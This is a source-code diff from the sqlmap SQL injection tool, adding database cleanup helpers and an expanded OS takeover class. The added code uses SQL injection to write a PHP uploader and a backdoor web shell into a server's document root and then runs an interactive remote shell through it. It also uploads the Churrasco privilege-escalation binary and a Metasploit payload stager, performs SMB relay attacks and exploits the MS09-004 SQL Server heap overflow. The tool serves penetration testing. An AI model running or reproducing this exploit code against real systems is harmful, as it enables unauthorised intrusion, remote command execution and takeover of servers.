debugMsg = "going to upload the %s file with " % fileType
debugMsg += "stacked query SQL injection technique"
logger.debug(debugMsg)
self.stackedWriteFile(wFile, dFile, fileType, confirm)
self.cleanup(onlyFileTbl=True)

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free

134
plugins/generic/misc.py Normal file
View File

@@ -0,0 +1,134 @@
#!/usr/bin/env python
"""
$Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
Software Foundation version 2 of the License.
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
details.
You should have received a copy of the GNU General Public License along
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
import os
from lib.core.common import readInput
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.session import setRemoteTempPath
from lib.request import inject
from lib.techniques.outband.stacked import stackedTest
class Miscellaneous:
"""
This class defines miscellaneous functionalities for plugins.
"""
def getRemoteTempPath(self):
if not conf.tmpPath:
if kb.os == "Windows":
# NOTES:
#
# * MySQL runs by default as SYSTEM and the system-wide
# temporary files directory is C:\WINDOWS\Temp
#
# * PostgreSQL runs by default as postgres user and the
# temporary files directory is C:\Documents and Settings\postgres\Local Settings\Temp,
# however the system-wide folder is writable too
#infoMsg = "retrieving remote absolute path of temporary files "
#infoMsg += "directory"
#logger.info(infoMsg)
#
#conf.tmpPath = self.evalCmd("echo %TEMP%")
conf.tmpPath = "C:/WINDOWS/Temp"
else:
conf.tmpPath = "/tmp"
if re.search("^[\w]\:[\/\\\\]+", conf.tmpPath, re.I):
kb.os = "Windows"
conf.tmpPath = conf.tmpPath.replace("\\", "/")
conf.tmpPath = os.path.normpath(conf.tmpPath)
setRemoteTempPath()
def createSupportTbl(self, tblName, tblField, tblType):
inject.goStacked("DROP TABLE %s" % tblName)
inject.goStacked("CREATE TABLE %s(%s %s)" % (tblName, tblField, tblType))
def cleanup(self, onlyFileTbl=False):
"""
Cleanup database from sqlmap create tables and functions
"""
stackedTest()
if kb.stackedTest == False:
return
if kb.os == "Windows":
libtype = "dynamic-link library"
elif kb.os == "Linux":
libtype = "shared object"
else:
libtype = "shared library"
if onlyFileTbl == True:
logger.debug("cleaning up the database management system")
else:
logger.info("cleaning up the database management system")
logger.debug("removing support tables")
inject.goStacked("DROP TABLE %s" % self.fileTblName)
if onlyFileTbl == False:
inject.goStacked("DROP TABLE %s" % self.cmdTblName)
if kb.dbms == "Microsoft SQL Server":
return
for udf in ( "sys_exec", "sys_eval" ):
message = "do you want to remove %s UDF? [Y/n] " % udf
output = readInput(message, default="Y")
if not output or output in ("y", "Y"):
dropStr = "DROP FUNCTION %s" % udf
if kb.dbms == "PostgreSQL":
dropStr += "(text)"
logger.debug("removing %s UDF" % udf)
inject.goStacked(dropStr)
logger.info("database management system cleanup finished")
warnMsg = "remember that UDF %s files " % libtype
if conf.osPwn:
warnMsg += "and Metasploit related files in the temporary "
warnMsg += "folder "
warnMsg += "saved on the file system can only be deleted "
warnMsg += "manually"
logger.warn(warnMsg)

View File

@@ -5,8 +5,8 @@ $Id$
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
Copyright (c) 2006-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
and Daniele Bellucci <daniele.bellucci@gmail.com>
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
sqlmap is free software; you can redistribute it and/or modify it under
the terms of the GNU General Public License as published by the Free
@@ -24,14 +24,399 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
from lib.core.exception import sqlmapUnsupportedFeatureException
import re
from lib.core.common import getDirectories
from lib.core.common import randomStr
from lib.core.common import readInput
from lib.core.convert import urlencode
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.data import paths
from lib.core.exception import sqlmapUnsupportedDBMSException
from lib.core.shell import autoCompletion
from lib.request.connect import Connect as Request
from lib.takeover.abstraction import Abstraction
from lib.takeover.dep import DEP
from lib.takeover.metasploit import Metasploit
from lib.takeover.registry import Registry
from lib.techniques.outband.stacked import stackedTest
class Takeover:
class Takeover(Abstraction, DEP, Metasploit, Registry):
"""
This class defines generic OS takeover functionalities for plugins.
"""
def __init__(self):
self.cmdTblName = "sqlmapoutput"
self.tblField = "data"
self.cmdFromChurrasco = False
Abstraction.__init__(self)
DEP.__init__(self)
def __webBackdoorRunCmd(self, backdoorUrl, cmd):
"""
TODO: complete review of this code is needed
"""
output = None
cmdUrl = "%s?cmd=%s" % (backdoorUrl, conf.osCmd)
page, _ = Request.getPage(url=cmdUrl, direct=True)
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
if output:
print output.group(1)
else:
print "No output"
return output
def __webBackdoorOsShell(self):
"""
TODO: complete review of this code is needed
This method is used to write a PHP agent (cmd.php) on a writable
remote directory within the web server document root.
Such agent is written using the INTO OUTFILE MySQL DBMS
functionality
@todo:
* Add a web application crawling functionality to detect
all (at least most) web server directories and merge with
Google results if the target host is a publicly available
hostname or IP address;
* Extend the agent to other interpreters rather than only PHP:
ASP, JSP, CGI (Python, Perl, Ruby, Bash).
"""
infoMsg = "retrieving web application directories"
logger.info(infoMsg)
directories = getDirectories()
if directories:
infoMsg = "retrieved web server directories "
infoMsg += "'%s'" % ", ".join(d for d in directories)
logger.info(infoMsg)
message = "in addition you can provide a list of directories "
message += "absolute path comma separated that you want sqlmap "
message += "to try to upload the agent [/var/www/test]: "
inputDirs = readInput(message, default="/var/www/test")
else:
message = "please provide the web server document root [/var/www]: "
inputDocRoot = readInput(message, default="/var/www")
if inputDocRoot:
kb.docRoot = inputDocRoot
else:
kb.docRoot = "/var/www"
message = "please provide a list of directories absolute path "
message += "comma separated that you want sqlmap to try to "
message += "upload the agent [/var/www/test]: "
inputDirs = readInput(message, default="/var/www/test")
if inputDirs:
inputDirs = inputDirs.replace(", ", ",")
inputDirs = inputDirs.split(",")
for inputDir in inputDirs:
directories.add(inputDir)
else:
directories.add("/var/www/test")
infoMsg = "trying to upload the uploader agent"
logger.info(infoMsg)
directories = list(directories)
directories.sort()
uploaded = False
backdoorName = "backdoor.php"
backdoorPath = "%s/%s" % (paths.SQLMAP_SHELL_PATH, backdoorName)
uploaderName = "uploader.php"
uploaderStr = fileToStr("%s/%s" % (paths.SQLMAP_SHELL_PATH, uploaderName))
for directory in directories:
if uploaded:
break
# Upload the uploader agent
uploaderQuery = uploaderStr.replace("WRITABLE_DIR", directory)
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
query = agent.prefixQuery(" %s" % query)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
page = Request.queryPage(payload)
if kb.docRoot:
requestDir = directory.replace(kb.docRoot, "")
else:
requestDir = directory
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
page, _ = Request.getPage(url=uploaderUrl, direct=True)
if "sqlmap backdoor uploader" not in page:
warnMsg = "unable to upload the uploader "
warnMsg += "agent on '%s'" % directory
logger.warn(warnMsg)
continue
infoMsg = "the uploader agent has been successfully uploaded "
infoMsg += "on '%s'" % directory
logger.info(infoMsg)
# Upload the backdoor through the uploader agent
multipartParams = {
"upload": "1",
"file": open(backdoorPath, "r"),
"uploadDir": directory,
}
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
page = Request.getPage(url=uploaderUrl, multipart=multipartParams)
if "Backdoor uploaded" not in page:
warnMsg = "unable to upload the backdoor through "
warnMsg += "the uploader agent on '%s'" % directory
logger.warn(warnMsg)
continue
uploaded = True
backdoorUrl = "%s/%s" % (baseUrl, backdoorName)
infoMsg = "the backdoor has been successfully uploaded on "
infoMsg += "'%s', go with your browser to " % directory
infoMsg += "'%s' and enjoy it!" % backdoorUrl
logger.info(infoMsg)
if conf.osShell:
message = "do you want to use the uploaded backdoor as a "
message += "shell to execute commands right now? [Y/n] "
shell = readInput(message, default="Y")
if shell in ("n", "N"):
continue
infoMsg = "calling OS shell. To quit type "
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
autoCompletion(osShell=True)
while True:
command = None
try:
command = raw_input("os-shell> ")
except KeyboardInterrupt:
print
errMsg = "user aborted"
logger.error(errMsg)
except EOFError:
print
errMsg = "exit"
logger.error(errMsg)
break
if not command:
continue
if command.lower() in ( "x", "q", "exit", "quit" ):
break
self.__webBackdoorRunCmd(backdoorUrl, command)
def uploadChurrasco(self):
msg = "do you want sqlmap to upload Churrasco and call the "
msg += "Metasploit payload stager as its argument so that it "
msg += "will be started as SYSTEM? [Y/n] "
output = readInput(msg, default="Y")
if not output or output[0] in ( "y", "Y" ):
# TODO: add also compiled/packed Churrasco for Windows 2008
wFile = "%s/tokenkidnapping/Churrasco.exe" % paths.SQLMAP_CONTRIB_PATH
self.churrascoPath = "%s/sqlmapchur%s.exe" % (conf.tmpPath, randomStr(lowercase=True))
self.cmdFromChurrasco = True
# NOTE: no need to handle DEP for Churrasco executable because
# it spawns a new process as the SYSTEM user token to execute
# the executable passed as argument
self.writeFile(wFile, self.churrascoPath, "binary", confirm=False)
return True
else:
return False
def osCmd(self):
stackedTest()
if kb.stackedTest == False:
return
self.initEnv()
self.runCmd(conf.osCmd)
def osShell(self):
errMsg = "OS shell functionality not yet implemented for this DBMS"
raise sqlmapUnsupportedFeatureException, errMsg
stackedTest()
if kb.stackedTest == False:
infoMsg = "going to upload a web page backdoor for command "
infoMsg += "execution"
logger.info(infoMsg)
self.__webBackdoorOsShell()
else:
self.initEnv()
self.absOsShell()
def osPwn(self):
stackedTest()
if kb.stackedTest == False:
return
self.initEnv()
self.getRemoteTempPath()
self.createMsfPayloadStager()
self.uploadMsfPayloadStager()
if kb.os == "Windows":
# NOTE: no need to add an exception to DEP for the payload
# stager because it already sets the memory to +rwx before
# copying the shellcode into that memory page
#self.handleDep(self.exeFilePathRemote)
if conf.privEsc and kb.dbms == "MySQL":
debugMsg = "by default MySQL on Windows runs as SYSTEM "
debugMsg += "user, no need to privilege escalate"
logger.debug(debugMsg)
elif conf.privEsc and kb.dbms == "PostgreSQL":
warnMsg = "by default PostgreSQL on Windows runs as postgres "
warnMsg += "user which has no Windows Impersonation "
warnMsg += "Tokens: it is unlikely that the privilege "
warnMsg += "escalation will be successful"
logger.warn(warnMsg)
elif conf.privEsc and kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
warnMsg = "often Microsoft SQL Server %s " % kb.dbmsVersion[0]
warnMsg += "runs as Network Service which has no Windows "
warnMsg += "Impersonation Tokens within all threads, this "
warnMsg += "makes Meterpreter's incognito extension to "
warnMsg += "fail to list tokens"
logger.warn(warnMsg)
uploaded = self.uploadChurrasco()
if uploaded == False:
warnMsg = "beware that the privilege escalation "
warnMsg += "might not work"
logger.warn(warnMsg)
else:
# Unset --priv-esc if the back-end DBMS underlying operating
# system is not Windows
conf.privEsc = False
self.pwn()
def osSmb(self):
stackedTest()
self.checkDbmsOs()
if kb.os != "Windows":
errMsg = "the back-end DBMS underlying operating system is "
errMsg += "not Windows: it is not possible to perform the SMB "
errMsg += "relay attack"
raise sqlmapUnsupportedDBMSException, errMsg
if kb.stackedTest == False:
if kb.dbms in ( "PostgreSQL", "Microsoft SQL Server" ):
errMsg = "on this back-end DBMS it is only possible to "
errMsg += "perform the SMB relay attack if stacked "
errMsg += "queries are supported"
raise sqlmapUnsupportedDBMSException, errMsg
elif kb.dbms == "MySQL":
debugMsg = "since stacked queries are not supported, "
debugMsg += "sqlmap is going to perform the SMB relay "
debugMsg += "attack via inference blind SQL injection"
logger.debug(debugMsg)
printWarn = True
warnMsg = "it is unlikely that this attack will be successful "
if kb.dbms == "MySQL":
warnMsg += "because by default MySQL on Windows runs as "
warnMsg += "Local System which is not a real user, it does "
warnMsg += "not send the NTLM session hash when connecting to "
warnMsg += "a SMB service"
elif kb.dbms == "PostgreSQL":
warnMsg += "because by default PostgreSQL on Windows runs "
warnMsg += "as postgres user which is a real user of the "
warnMsg += "system, but not within the Administrators group"
elif kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
warnMsg += "because often Microsoft SQL Server %s " % kb.dbmsVersion[0]
warnMsg += "runs as Network Service which is not a real user, "
warnMsg += "it does not send the NTLM session hash when "
warnMsg += "connecting to a SMB service"
else:
printWarn = False
if printWarn == True:
logger.warn(warnMsg)
self.smb()
def osBof(self):
stackedTest()
if kb.stackedTest == False:
return
if not kb.dbms == "Microsoft SQL Server" or kb.dbmsVersion[0] not in ( "2000", "2005" ):
errMsg = "the back-end DBMS must be Microsoft SQL Server "
errMsg += "2000 or 2005 to be able to exploit the heap-based "
errMsg += "buffer overflow in the 'sp_replwritetovarbin' "
errMsg += "stored procedure (MS09-004)"
raise sqlmapUnsupportedDBMSException, errMsg
infoMsg = "going to exploit the Microsoft SQL Server %s " % kb.dbmsVersion[0]
infoMsg += "'sp_replwritetovarbin' stored procedure heap-based "
infoMsg += "buffer overflow (MS09-004)"
logger.info(infoMsg)
# NOTE: only needed to handle DEP
self.initEnv(mandatory=False, detailed=True)
self.getRemoteTempPath()
self.createMsfShellcode()
self.overflowBypassDEP()
self.bof()
self.delException()